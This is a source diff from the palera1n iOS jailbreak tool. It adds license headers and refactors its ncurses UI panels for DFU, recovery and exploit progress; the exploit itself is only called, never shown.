||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#ifndef TUI_DFU_ART_HPP
|
||||
|
||||
+35
-21
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#include "TuiDfuPanel.hpp"
|
||||
@@ -8,14 +35,13 @@
|
||||
#include <unordered_set>
|
||||
|
||||
#include <ncurses.h>
|
||||
#include <libirecovery.h>
|
||||
|
||||
#include "Tui.hpp"
|
||||
#include "TuiDfuArt.hpp"
|
||||
#include "TuiText.hpp"
|
||||
#include "TuiRecoveryPanel.hpp"
|
||||
#include "../sequence.hpp"
|
||||
#include "../event.hpp"
|
||||
#include "../events/event.hpp"
|
||||
#include "../globals.h"
|
||||
#include "../paleinfo.h"
|
||||
|
||||
@@ -296,13 +322,16 @@ void TuiDfuPanel::handle_device_update(const DeviceState& state) {
|
||||
}
|
||||
|
||||
if (!state.connected) {
|
||||
if (!m_isEnteringDfu) {
|
||||
reset_sequence_state();
|
||||
GetFrame()->ShowMain(1);
|
||||
if (m_isEnteringDfu || m_waitingForDfuTransition) {
|
||||
return;
|
||||
}
|
||||
|
||||
reset_sequence_state();
|
||||
GetFrame()->ShowMain(1);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
if (m_isEnteringDfu && state.mode == DeviceMode::DFU) {
|
||||
m_isEnteringDfu = false;
|
||||
m_dfuSuccess = true;
|
||||
@@ -337,22 +366,7 @@ void TuiDfuPanel::reboot() {
|
||||
if (!state.connected || state.mode != DeviceMode::Recovery)
|
||||
return;
|
||||
|
||||
irecv_client_t client = nullptr;
|
||||
int attempts = 0;
|
||||
const int max_attempts = 8;
|
||||
|
||||
while (attempts < max_attempts) {
|
||||
if (irecv_open_with_ecid(&client, state.ecid) == IRECV_E_SUCCESS)
|
||||
break;
|
||||
attempts++;
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(250));
|
||||
}
|
||||
|
||||
if (!client) return;
|
||||
irecv_setenv(client, "auto-boot", "true");
|
||||
irecv_saveenv(client);
|
||||
irecv_reboot(client);
|
||||
irecv_close(client);
|
||||
exit_recovery();
|
||||
}).detach();
|
||||
}
|
||||
|
||||
|
||||
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#ifndef TUI_DFU_PANEL_HPP
|
||||
|
||||
+46
-28
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#include "TuiExploitPanel.hpp"
|
||||
@@ -12,7 +39,7 @@
|
||||
|
||||
#include "Tui.hpp"
|
||||
#include "TuiText.hpp"
|
||||
#include "../m8/run.h"
|
||||
#include "../exploit.h"
|
||||
|
||||
static const char *buttons[] = { "Back" };
|
||||
static constexpr int kExploitContentX = 2;
|
||||
@@ -81,51 +108,42 @@ void TuiExploitPanel::set_status(const std::string& status, int progress) {
|
||||
m_progress = std::clamp(progress, 0, 100);
|
||||
}
|
||||
|
||||
void TuiExploitPanel::exploit() {
|
||||
void TuiExploitPanel::exploit()
|
||||
{
|
||||
if (m_is_exploiting) {
|
||||
return;
|
||||
} else {
|
||||
m_is_exploiting = true;
|
||||
}
|
||||
|
||||
m_is_exploiting = true;
|
||||
set_status(stage_to_string(STAGE_RESET), 0);
|
||||
|
||||
std::thread([this]() {
|
||||
std::thread([this]()
|
||||
{
|
||||
const DeviceState deviceState = GetFrame()->GetDeviceState();
|
||||
if (!deviceState.connected || deviceState.mode != DeviceMode::DFU) {
|
||||
set_status("Device is not in DFU mode.", 0);
|
||||
m_is_exploiting = false;
|
||||
return;
|
||||
}
|
||||
|
||||
auto sharedState = std::make_shared<shared_t>();
|
||||
atomic_init(&sharedState->stage, STAGE_RESET);
|
||||
atomic_init(&sharedState->stop, false);
|
||||
atomic_init(&sharedState->result, 0);
|
||||
auto stage = std::make_shared<std::atomic<int>>(STAGE_RESET);
|
||||
|
||||
auto isFinished = std::make_shared<std::atomic<bool>>(false);
|
||||
|
||||
std::thread worker([sharedState, isFinished]() {
|
||||
::exploit(sharedState.get());
|
||||
isFinished->store(true);
|
||||
std::thread worker([stage]()
|
||||
{
|
||||
::exploit(reinterpret_cast<int*>(stage.get()));
|
||||
stage->store(STAGE_DONE);
|
||||
});
|
||||
|
||||
for (;;) {
|
||||
int stage = atomic_load(&sharedState->stage);
|
||||
int progress = stage_to_progress(stage);
|
||||
bool finished = isFinished->load();
|
||||
set_status(stage_to_string(stage), progress);
|
||||
for (;;)
|
||||
{
|
||||
int currentStage = stage->load();
|
||||
int progress = stage_to_progress(currentStage);
|
||||
|
||||
if (stage == STAGE_DONE || finished) {
|
||||
atomic_store(&sharedState->stop, true);
|
||||
break;
|
||||
}
|
||||
set_status(stage_to_string(currentStage), progress);
|
||||
|
||||
if (currentStage == STAGE_DONE) break;
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(100));
|
||||
}
|
||||
|
||||
if (worker.joinable()) {
|
||||
worker.join();
|
||||
}
|
||||
if (worker.joinable()) worker.join();
|
||||
|
||||
m_is_exploiting = false;
|
||||
}).detach();
|
||||
|
||||
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#ifndef TUI_EXPLOIT_PANEL_HPP
|
||||
|
||||
+51
-13
@@ -1,14 +1,40 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#include "TuiMainPanel.hpp"
|
||||
|
||||
#include <string>
|
||||
|
||||
#include <ncurses.h>
|
||||
|
||||
#include "Tui.hpp"
|
||||
#include "TuiText.hpp"
|
||||
#include "../event.hpp"
|
||||
#include "../events/event.hpp"
|
||||
#include "../globals.h"
|
||||
#include "../paleinfo.h"
|
||||
|
||||
@@ -19,14 +45,14 @@ static constexpr int kMainSeparatorX = 1;
|
||||
static constexpr int kMainSeparatorWidth = 63;
|
||||
|
||||
static std::string get_device_title(const DeviceState& state) {
|
||||
if (state.multipleDevices || state.connectedDeviceCount > 1) {
|
||||
return "Multiple devices detected";
|
||||
}
|
||||
if (!state.connected) {
|
||||
if (state.connectedDeviceCount > 1) {
|
||||
return "Multiple devices detected";
|
||||
}
|
||||
return "No device connected";
|
||||
}
|
||||
|
||||
const std::string product = state.productType.empty() ? "Unknown" : state.productType;
|
||||
const std::string product = state.displayName.empty() ? (state.productType.empty() ? "Unknown" : state.productType) : state.displayName;
|
||||
if (state.mode == DeviceMode::DFU) {
|
||||
return "DFU Mode device";
|
||||
}
|
||||
@@ -34,11 +60,11 @@ static std::string get_device_title(const DeviceState& state) {
|
||||
}
|
||||
|
||||
static std::string get_device_subtitle(const DeviceState& state) {
|
||||
if (state.multipleDevices || state.connectedDeviceCount > 1) {
|
||||
return std::to_string(state.connectedDeviceCount) +
|
||||
" USB devices connected. Disconnect extras and keep only one device attached.";
|
||||
}
|
||||
if (!state.connected) {
|
||||
if (state.connectedDeviceCount > 1) {
|
||||
return std::to_string(state.connectedDeviceCount) +
|
||||
"USB devices connected. Disconnect extras and keep only one device attached.";
|
||||
}
|
||||
return "Please connect a device to get started. Ensure version range is 15.0+";
|
||||
}
|
||||
|
||||
@@ -57,7 +83,7 @@ static std::string get_device_subtitle(const DeviceState& state) {
|
||||
}
|
||||
return "Not supported\n" + ecid;
|
||||
case DeviceMode::DFU:
|
||||
return "Sorry, jailbreaking in DFU mode is not supported.";
|
||||
return "Sorry, jailbreaking in DFU mode is not supported.\n";
|
||||
case DeviceMode::None:
|
||||
return "Please connect a device to get started. Ensure version range is 15.0+";
|
||||
}
|
||||
@@ -180,6 +206,9 @@ void TuiMainPanel::draw(int sy, int sx, int selected) {
|
||||
}
|
||||
|
||||
void TuiMainPanel::handle_enter(int selected, int sy, int sx) {
|
||||
DeviceState state = GetFrame()->GetDeviceState();
|
||||
const bool block_start = state.multipleDevices || state.connectedDeviceCount > 1;
|
||||
|
||||
switch(selected) {
|
||||
case 0:
|
||||
palerain_flags ^= palerain_option_quick;
|
||||
@@ -190,9 +219,9 @@ void TuiMainPanel::handle_enter(int selected, int sy, int sx) {
|
||||
break;
|
||||
|
||||
case 2: {
|
||||
DeviceState state = GetFrame()->GetDeviceState();
|
||||
bool can_start = (state.connected && state.isSupported && state.mode != DeviceMode::DFU);
|
||||
if (block_start) break;
|
||||
|
||||
bool can_start = (state.connected && state.isSupported && state.mode != DeviceMode::DFU);
|
||||
if (can_start) {
|
||||
if (state.mode == DeviceMode::Recovery) {
|
||||
GetFrame()->ShowDfu(1);
|
||||
@@ -214,6 +243,15 @@ void TuiMainPanel::handle_device_update(const DeviceState& state) {}
|
||||
bool TuiMainPanel::is_button_enabled(int btn_idx) const {
|
||||
DeviceState state = GetFrame()->GetDeviceState();
|
||||
|
||||
if (state.multipleDevices || state.connectedDeviceCount > 1) {
|
||||
switch(btn_idx) {
|
||||
case 0: return true;
|
||||
case 1: return true;
|
||||
case 2: return false;
|
||||
case 3: return true;
|
||||
}
|
||||
}
|
||||
|
||||
switch(btn_idx) {
|
||||
case 0: return true;
|
||||
case 1: return true;
|
||||
|
||||
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#ifndef TUI_MAIN_PANEL_HPP
|
||||
|
||||
+28
-1
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#ifndef TUI_PANEL_HPP
|
||||
@@ -5,7 +32,7 @@
|
||||
|
||||
#include <ncurses.h>
|
||||
|
||||
#include "../event.hpp"
|
||||
#include "../events/event.hpp"
|
||||
|
||||
class TuiFrame;
|
||||
|
||||
|
||||
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#include "TuiRecoveryPanel.hpp"
|
||||
@@ -12,9 +39,6 @@
|
||||
#include "../globals.h"
|
||||
#include "../paleinfo.h"
|
||||
|
||||
#include <libimobiledevice/libimobiledevice.h>
|
||||
#include <libimobiledevice/lockdown.h>
|
||||
|
||||
static const char *buttons[] = { "Back", "Next" };
|
||||
static constexpr int kRecoveryContentX = 2;
|
||||
static constexpr int kRecoveryContentWidth = 60;
|
||||
@@ -113,26 +137,7 @@ void TuiRecoveryPanel::enter_recovery_mode() {
|
||||
return;
|
||||
}
|
||||
|
||||
idevice_t device = nullptr;
|
||||
lockdownd_client_t client = nullptr;
|
||||
|
||||
if (idevice_new(&device, state.udid.c_str()) != IDEVICE_E_SUCCESS) {
|
||||
m_is_entering_recovery = false;
|
||||
m_buttons_disabled = false;
|
||||
return;
|
||||
}
|
||||
|
||||
if (lockdownd_client_new_with_handshake(device, &client, "palera1n") != LOCKDOWN_E_SUCCESS) {
|
||||
idevice_free(device);
|
||||
m_is_entering_recovery = false;
|
||||
m_buttons_disabled = false;
|
||||
return;
|
||||
}
|
||||
|
||||
lockdownd_enter_recovery(client);
|
||||
|
||||
lockdownd_client_free(client);
|
||||
idevice_free(device);
|
||||
enter_recovery();
|
||||
}).detach();
|
||||
}
|
||||
|
||||
|
||||
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#ifndef TUI_RECOVERY_PANEL_HPP
|
||||
|
||||
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#include "TuiSettingsPanel.hpp"
|
||||
|
||||
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#ifndef TUI_SETTINGS_PANEL_HPP
|
||||
|
||||
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifdef WITH_TUI
|
||||
|
||||
#ifndef TUI_TEXT_HPP
|
||||
|
||||
@@ -1,256 +0,0 @@
|
||||
#ifdef _WIN32
|
||||
|
||||
#include "driver.h"
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <setupapi.h>
|
||||
#include <devguid.h>
|
||||
#pragma comment(lib, "setupapi.lib")
|
||||
|
||||
#include <libwdi.h>
|
||||
|
||||
#include "../utils.h"
|
||||
|
||||
#define MAX_MATCHING_DRIVERS 16
|
||||
|
||||
static void add_target_driver(char list[MAX_MATCHING_DRIVERS][64], int *count, const char *inf)
|
||||
{
|
||||
if (*count >= MAX_MATCHING_DRIVERS || strlen(inf) == 0) return;
|
||||
|
||||
for (int i = 0; i < *count; i++) {
|
||||
